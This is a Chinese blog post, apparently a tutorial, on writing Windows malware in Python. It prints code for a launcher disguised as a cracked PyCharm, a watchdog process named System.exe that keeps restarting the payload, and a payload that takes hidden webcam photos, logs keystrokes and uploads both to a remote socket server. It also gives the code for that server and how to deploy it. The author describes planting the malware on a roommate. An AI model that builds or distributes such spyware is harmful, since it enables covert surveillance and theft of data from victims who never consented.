WARNING
本文仅供学习和测试,请勿用于非法用途。


前言

花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入、关于opencv等等,主要其实做了一些拼接、打包、部署。

写这篇博客并不真的想去写病毒攻击别人,而是想告诉大家简单的病毒的原理以及其实我们py学好了,也有能力做出来,并不算难。

写这个东西的人挺少的。那么,我们开始吧。

注:本文源码并不会直接公布于博客,希望对其有兴趣的朋友添加我的QQ:1625098483获取,以防不法用途,我可不想吃国家饭(牢饭)。

病毒原理

这里感谢b站up主提供的思路@路飞学城

三个.exe:Pycharm破解版.exeWinCoreManagement.exeSystem.exe

首先我们有个伪装的程序,比如相信有很多程序猿都去下载过XXX软件破解版,我们这里以"Pycharm破解版"为例。

我们会给用户下载一个压缩包【Pycharm破解版】,里面一定会有很多奇奇怪怪的东西,然后我们把三个.exe也放在里面。

当用户打开Pycharm.exe时,会去调用WinCoreManagement.exeSystem.exe,以及正常的Pycharm程序,这样用户就难以发现。

其中调用的WinCoreManagement.exe就是我们核心的病毒程序了,我给它加了三个功能:不定时拍照、记录用户的输入、偶尔锁下用户键盘。

刚才还启用了一个System.exe,当用户发现了我们的主病毒程序,去任务管理器杀掉了主病毒进程,此时这个System.exe进程就会不断去重启病毒程序。

而且一般人其实是不敢去杀一个叫System的进程的,对吧。这样,就算是有点经验的程序员,也难不中招。

源码解析

frozen.py

用于处理多线程错乱的问题

Pycharm破解版.py


import os
import subprocess
import time
import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案
os.chdir(r'.')
#subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe time.sleep(20)

这一块儿主要是去调用一个病毒程序和进行对用户的欺骗程序,应该不难理解。

System.py


import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess, time, sys, os
import win32con
import win32api CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径 def run(cmd):
# print('start OK!')
os.chdir(os.path.dirname(os.path.abspath(__file__)))
p = subprocess.Popen(cmd, shell=False)
p.wait() # 类似于p.join()
try:
subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理残余
except Exception as e:
# print(e)
pass # print('子进程关闭,重启')
run(cmd) if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 run(CMD)

若用户杀掉病毒主程序,这个程序可以用来不断使病毒程序重启

WinCoreManagement.py

分为三块

多线程


from threading import Timer
from threading import Thread
from threading import Lock # Lock() 线程锁,防止线程全部错乱
self.mutex_log = Lock() # 日志锁
self.mutex_photo = Lock() # 照片锁
self.mutex_sock = Lock() # 套接字上传锁 # .release() 释放锁
self.mutex_log.release()
self.mutex_photo.release()
self.mutex_sock.release()

日志文件的读写


# 用户家目录,替换用户
# 记住这个 self.base_dir : 路径
# Expand the user's home directory,比如我的电脑就是 C:\\Users\\Daniel
self.base_dir = os.path.expanduser('~') # 权限问题 # 初始化生成日志文件
self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
open(self.log_path, 'a', encoding='utf-8').close()
win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN) def log_debug(self, res):
if not self.debug: return
self.mutex_debug.acquire()
with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
# 写进去
f.write('\n%s\n' % res)
# 刷新缓冲区
f.flush()
# 释放掉
self.mutex_debug.release()
# 和上面那个同理
def log(self, res):
self.mutex_log.acquire()
with open(self.log_path, mode='a', encoding='utf-8') as f:
f.write(res)
f.flush()
self.mutex_log.release()

照相功能,opencv会用就行


def take_photoes(self):
while True:
time.sleep(10)
# 图片路径,同时带上路径+时间
photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
cap = None try:
# VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…,
# 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”)
# CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
ret, frame = cap.read()
self.mutex_photo.acquire()
cv2.imwrite(photo_path, frame)
except Exception as e:
self.log_debug('照相异常: %s' % e)
finally:
# 无论如何都要释放锁,关闭相机
self.mutex_photo.release()
if cap is not None: cap.release() #None.release()
cv2.destroyAllWindows() if os.path.exists(photo_path):
win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)

上传功能

原理:
套接字:
Socket = (IP地址:端口号)
服务端监听:
服务器端套接字并不定位具体的客户端套接字,而是等待连接。即打开所有端口
客户端请求:
客户端的套接字提出连接请求,要连接的是服务端的套接字。因此要指定服务器的套接字,指出其地址+端口号,然后向服务端提出连接请求
连接确认:
服务端接受到了客户端的套接字的连接请求,响应,然后建立一个新的线程,并把服务器套接字的描述发给客户端
一旦客户端确认了此描述,连接就好了。然后服务器套接字继续处于监听,接收其他客户端套接字的连接请求

配置


def send_data(self, headers, data):
try:
self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情
# 配置问题,ipv4+网络流传输,不用管
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#套接字:ip+端口
client.connect((self.server_ip, self.server_port)) # dumps 编码,将一个python数据结构转为Json编码的字符串
head_json = json.dumps(headers)
# 换格式
head_json_bytes = bytes(head_json, encoding='utf-8')
# 发送Json包,到时候解码
client.send(struct.pack('i', len(head_json_bytes)))
client.send(head_json_bytes)
client.sendall(data)
#关闭套接字
client.close()
# 成功传输发回命令
res = (True, 'ok') except ConnectionRefusedError as e:
msg = '套接字服务端未启动: %s' % e
res = (False, msg)
except Exception as e:
msg = '套接字其他错误:%s' % e
res = (False, msg)
finally:
self.mutex_sock.release()
return res

发送日志信息


# 发送日志信息
def upload_log(self):
while True:
time.sleep(1)
# 没东西就直接跳掉
if not os.path.getsize(self.log_path): continue # 开锁
self.mutex_log.acquire()
# 打开文件,二进制读写手法
with open(self.log_path, mode='rb+') as f:
data = f.read()
self.mutex_log.release() # 文件大小+文件名字,以路径啥的命名
headers = {
'data_size': len(data),
'filename': os.path.basename(self.log_path)
} self.log_debug('正在往服务端发送日志......[%s]' % data) is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('日志[%s]发送成功。。。' % data)
else:
self.log_debug('日志[%s]发送失败:%s' % (data, msg))
continue # 指针的位置重新定回0,好习惯
f.truncate(0)

发送图片


def upload_photoes(self):
while True:
time.sleep(3) # 包含文件的列表取出来
files = os.listdir(self.base_dir)
# jpeg结尾的文件全给我导出来
files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
for file_name in files_jpeg:
file_path = r'%s/%s' % (self.base_dir, file_name)
# 没文件跳出去
if not os.path.exists(file_path): continue # 日志写进去
self.log_debug('开始上传图片: %s' % file_name)
# 文件大小+文件名字
headers = {
'data_size': os.path.getsize(file_path),
'filename': file_name
} # 开锁
self.mutex_photo.acquire()
# 二进制读写数据及上传
with open(file_path, mode='rb+') as f:
data = f.read()
self.mutex_photo.release() is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('图片%s发送完毕......' % file_name)
else:
self.log_debug('图片%s发送失败:%s' % (file_name, msg))
continue # 移除文件跑路,自己测试的时候可以注释掉
#os.remove(file_path)

DLL注入

这块儿,我们正经pythoner就先不要了解了

准备工作

1、最新anocoda3.7

https://www.anaconda.com/distribution/#download-section

2、提速下载可以改变源

pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packages

https://github.com/mhammond/pywin32/releases

4、安装opencv-python

pip install opencv-python

5、安装pyinstaller,依赖pyin32

pip install pyinstaller

6、ico文件准备好

在线制作

or

https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html


=====到这里,我们病毒程序就写好了=====

服务端原理

源码 Toad_server.py 解析


import socketserver
import struct
import json
import os
import time class ToadServer(socketserver.BaseRequestHandler):
coding='utf-8'
max_packet_size=1024 def handle(self):
ip,port=self.client_address
with open(r'access.log',mode='a',encoding='utf-8') as f:
f.write('[%s] X用户-> %s:%s 正在上传数据\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port)) try:
head = self.request.recv(4)
head_json_len = struct.unpack('i', head)[0]
head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
data_len = head_json['data_size']
filename = head_json['filename'] recv_size = 0
recv_data = b''
with open(r'client_msg/client_%s_%s' %(ip,filename), 'ab') as f:
while recv_size < data_len:
recv_data = self.request.recv(1024)
f.write(recv_data)
recv_size += len(recv_data) except Exception as e:
# 客户端断开
self.request.close() myserver=socketserver.ThreadingTCPServer(('0.0.0.0', 9999),ToadServer)
myserver.serve_forever()

所有端口都开启监听,同时在写病毒程序时候,记得放行9999安全组。

服务端可以直接部署到阿里云等服务器上,然后安装上Python 3.7左右版本,

之后用XFTP上传Toad_server.py

python3 Toad_server.py 命令使其运行

打包病毒.exe

和在云服务器上部署web项目一样,总不能让所有用户装上和我们一样的环境吧。

这样,我们用pyinstaller来打包,安装在上文,同时可以给软件换个更"专业"的图标,就能确保用户在自己的机子上也能运行了。

命令: pyinstaller -i pycharm.ico -Fw Pycharm.py

生成的.exe会在dist文件夹中。

实践出真知

三个exe文件打包出来,发给某个倒霉蛋,做点伪装...

自己阿里云上的服务端打开放那跑

日志文件是access.log,记录用户键盘输入是make.log,生成的图片在client_msg文件夹中。

那么我们现在就去找个可爱的室友测试一下吧~

打下码哈哈哈哈哈哈哈哈哈哈哈

不过一开始被360阻止了摄像头权限,真是流氓软件之首啧啧啧

结尾

那么今天这个有趣的项目就到这了,源码这里不方便公布。

如果你觉得特别有意思,想研究一下,那去文首添加本人QQ拿吧~

顺便点个关注点个赞哟,hxdm!

用Python写一个病毒的更多相关文章

  1. 十行代码--用python写一个USB病毒 (知乎 DeepWeaver)

    昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun)到.但是,如果我想, ...

  2. 用Python写一个简单的Web框架

    一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...

  3. [py]python写一个通讯录step by step V3.0

    python写一个通讯录step by step V3.0 参考: http://blog.51cto.com/lovelace/1631831 更新功能: 数据库进行数据存入和读取操作 字典配合函数 ...

  4. 【Python】如何基于Python写一个TCP反向连接后门

    首发安全客 如何基于Python写一个TCP反向连接后门 https://www.anquanke.com/post/id/92401 0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的 ...

  5. Python写一个自动点餐程序

    Python写一个自动点餐程序 为什么要写这个 公司现在用meican作为点餐渠道,每天规定的时间是早7:00-9:40点餐,有时候我经常容易忘记,或者是在地铁/公交上没办法点餐,所以总是没饭吃,只有 ...

  6. 用python写一个自动化盲注脚本

    前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...

  7. python写一个能变身电光耗子的贪吃蛇

    python写一个不同的贪吃蛇 写这篇文章是因为最近课太多,没有精力去挖洞,记录一下学习中的收获,python那么好玩就写一个大一没有完成的贪吃蛇(主要还是跟课程有关o(╥﹏╥)o,课太多好烦) 第一 ...

  8. python写一个邮箱伪造脚本

    前言: 原本打算学php MVC的思路然后写一个项目.但是贼恶心, 写不出来.然后就还是用python写了个邮箱伪造. 0x01 第一步先去搜狐注册一个邮箱 然后,点开设置,开启SMTP服务. 当然你 ...

  9. 用python写一个非常简单的QQ轰炸机

    闲的没事,就想写一个QQ轰炸机,按照我最初的想法,这程序要根据我输入的QQ号进行轰炸,网上搜了一下,发现网上的案列略复杂,就想着自己写一个算了.. 思路:所谓轰炸机,就是给某个人发很多信息,一直刷屏, ...

随机推荐

  1. Linux用户和组管理命令-用户属性修改usermod

    用户属性修改 usermod 命令可以修改用户属性 格式: usermod [OPTION] login 常见选项: -u UID: 新UID -g GID: 新主组 -G GROUP1[,GROUP ...

  2. MySQL备份和恢复[4]-xtrabackup备份工具

    xtrabackup工具介绍 Percona 公司 官网:www.percona.com percona-server InnoDB --> XtraDB Xtrabackup备份工具 perc ...

  3. 记一次flink入门学习笔记

    团队有几个系统数据量偏大,且每天以几万条的数量累增.有一个系统每天需要定时读取数据库,并进行相关的业务逻辑计算,从而获取最新的用户信息,定时任务的整个耗时需要4小时左右.由于定时任务是夜晚执行,目前看 ...

  4. pybind11和numpy进行交互

    使用一个遵循buffer protocol的对象就可以和numpy交互了.   这个buffer_protocol要有哪些东西呢? 要有如下接口: struct buffer_info { void ...

  5. Redis (总结)

    transactions redis的事务并不能回滚,即使执行失败了,后面的命令一样会执行 exec命令触发前面被queue的命令原子执行 最后:transaction最终将被scripts替代,因为 ...

  6. python爬虫 学习1

    1 import requests 2 from bs4 import BeautifulSoup 3 import bs4 4 def gethtmltext(url): #获取html内容,利用t ...

  7. Express 配置HTML页面访问

    Express 配置HTML页面访问 1.配置模板引擎 Express默认的模板引擎是pug(jade),想要渲染html页面必须要导入对应的模板引擎ejs npm install ejs 安装完成在 ...

  8. 模拟量采集模块433Mhz LoRa无线自组网络介绍

    模拟量采集模块433Mhz LoRa无线自组网络是LPWAN(低功耗广域网Low Power Wide Area Nerwork)通信技术中的一种,是美国Semtech公司采用和推广的一种基于扩频技术 ...

  9. Java学习的第六天

    1.今天学习了各种运算符, 还有选择结构,循环结构 2.今天学习没有遇到困难. 3.明天学习数组和第三章的开头一部分.

  10. ModelSerializer 高级使用

    前言 ModelSerializer中还具有一些高级用法,如批量更新.批量删除.批量创建等. 但是批量过来的数据格式都需要与前端做好协商,什么样的数据格式是单条操作,什么样的数据格式是批量操作. 如下 ...